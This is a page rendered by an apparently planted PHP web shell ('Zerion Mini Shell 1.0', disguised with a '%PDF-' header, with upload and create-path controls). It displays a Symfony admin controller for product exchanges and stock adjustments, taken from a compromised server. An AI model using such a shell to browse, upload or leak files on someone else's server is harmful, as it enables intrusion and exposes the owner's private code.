%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/VenteBundle/Controller/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/VenteBundle/Controller/ChangementController.php

<?php

namespace EEM\VenteBundle\Controller;

use EEM\FonctionnaliteBundle\Service\HistoriqueService;
use EEM\VenteBundle\Entity\Changement;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;use Symfony\Component\HttpFoundation\Request;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;

/**
 * Changement controller.
 *
 * @Route("/admin/changement")
 */
class ChangementController extends Controller
{
    /**
     * Lists all changement entities.
     *
     * @Route("/", name="changement_index")
     * @Method("GET")
     * @Security("has_role('ROLE_USER')")
     */
    public function indexAction(Request $request)
    {
        $paginator = $this->get('knp_paginator');

        $em = $this->getDoctrine()->getManager();
        $changements = $paginator->paginate(
            $em->getRepository('EEMVenteBundle:Changement')->myFindAll($request->query->all()), /* query NOT result */
            $request->query->getInt('page', 1)/* page number */, 20/* limit per page */
        );

        return $this->render('@EEMVente/changement/index.html.twig', array(
            'changements' => $changements,
        ));
    }

    /**
     * Creates a new changement entity.
     *
     * @Route("/new", name="changement_new")
     * @Method({"GET", "POST"})
     * @Security("has_role('ROLE_USER')")
     */
    public function newAction(Request $request)
    {
        $em = $this->getDoctrine()->getManager();
        $historiqueService=new HistoriqueService($em);
        $changement = new Changement();
        $form = $this->createForm('EEM\VenteBundle\Form\ChangementType', $changement);
        $form->handleRequest($request);
        $articleChangee=null;
        if ($form->isSubmitted() && $form->isValid()) {
            $data=$request->request->all()['eem_ventebundle_changement'];

            $articleAChangee=$em->getRepository('EEMArticleBundle:Article')->find($data['articleAChangeeId']);
            if(!empty($data['articleChangeeId'])){
                $articleChangee=$em->getRepository('EEMArticleBundle:Article')->find($data['articleChangeeId']);
            }
            $ligneVente=$em->getRepository('EEMVenteBundle:LigneVente')->find($data['ligneVenteId']);
            $changement->setArticleChangee($articleChangee);
            $changement->setArticleAChangee($articleAChangee);
            $changement->setLigneVente($ligneVente);
            $changement->setDateChangement(new \DateTime());
            $em->persist($changement);
            $articleAChangee->setQte($articleAChangee->getQte()+$data['qteAChangee']);
            $historiqueService->HistoriqueChangement($articleAChangee,$changement->getId(),'Retour article',$data['qteAChangee']);
            if($articleChangee){
                $articleChangee->setQte($articleChangee->getQte()-$data['qteChangee']);
                $historiqueService->HistoriqueChangement($articleChangee,$changement->getId(),'Article changé',$data['qteChangee']);
            }
            $em->flush();
            $this->addFlash('success', 'Nouveau changement ajouté avec succès.');
            return $this->redirectToRoute('changement_show', array('id' => $changement->getId()));
        }

        return $this->render('@EEMVente/changement/new.html.twig', array(
            'changement' => $changement,
            'form' => $form->createView(),
            'articles' => $em->getRepository('EEMArticleBundle:Article')->articleDisponible(),
        ));
    }

    /**
     * Finds and displays a changement entity.
     *
     * @Route("/{id}", name="changement_show")
     * @Method("GET")
     * @Security("has_role('ROLE_USER')")
     */
    public function showAction(Changement $changement)
    {
        $deleteForm = $this->createDeleteForm($changement);

        return $this->render('@EEMVente/changement/show.html.twig', array(
            'changement' => $changement,
            'delete_form' => $deleteForm->createView(),
        ));
    }

    /**
     * Displays a form to edit an existing changement entity.
     *
     * @Route("/{id}/edit", name="changement_edit")
     * @Method({"GET", "POST"})
     * @Security("has_role('ROLE_USER')")
     */
    public function editAction(Request $request, Changement $changement)
    {
        $deleteForm = $this->createDeleteForm($changement);
        $editForm = $this->createForm('EEM\VenteBundle\Form\ChangementType', $changement);
        $editForm->handleRequest($request);

        if ($editForm->isSubmitted() && $editForm->isValid()) {
            $this->getDoctrine()->getManager()->flush();

            return $this->redirectToRoute('changement_edit', array('id' => $changement->getId()));
        }

        return $this->render('@EEMVente/changement/edit.html.twig', array(
            'changement' => $changement,
            'edit_form' => $editForm->createView(),
            'delete_form' => $deleteForm->createView(),
        ));
    }

    /**
     * Deletes a changement entity.
     *
     * @Route("/{id}/delete", name="changement_delete")
     * @Method("DELETE")
     * @Security("has_role('ROLE_USER')")
     */
    public function deleteAction(Request $request, Changement $changement)
    {
        $form = $this->createDeleteForm($changement);
        $form->handleRequest($request);

        $em = $this->getDoctrine()->getManager();
        $historiqueService=new HistoriqueService($em);
        if ($form->isSubmitted() && $form->isValid()) {
            $articleAChangee=$changement->getArticleAChangee();
            $articleChangee=$changement->getArticleChangee();
            if($articleAChangee){
                $articleAChangee->setQte($articleAChangee->getQte()-$changement->getQteAChangee());
                $historiqueService->HistoriqueChangement($articleAChangee,$changement->getId(),'Changement annulé',$changement->getQteAChangee());
            }
            if($articleChangee){
                $articleChangee->setQte($articleChangee->getQte()+$changement->getQteChangee());
                $historiqueService->HistoriqueChangement($articleChangee,$changement->getId(),'Retour article changé',$changement->getQteChangee());
            }
            $em->remove($changement);
            $this->addFlash('success', 'Changement supprimé avec succès.');
            $em->flush();
        }

        return $this->redirectToRoute('changement_index');
    }

    /**
     * Creates a form to delete a changement entity.
     *
     * @param Changement $changement The changement entity
     *
     * @return \Symfony\Component\Form\Form The form
     */
    private function createDeleteForm(Changement $changement)
    {
        return $this->createFormBuilder()
            ->setAction($this->generateUrl('changement_delete', array('id' => $changement->getId())))
            ->setMethod('DELETE')
            ->getForm()
        ;
    }
}

Zerion Mini Shell 1.0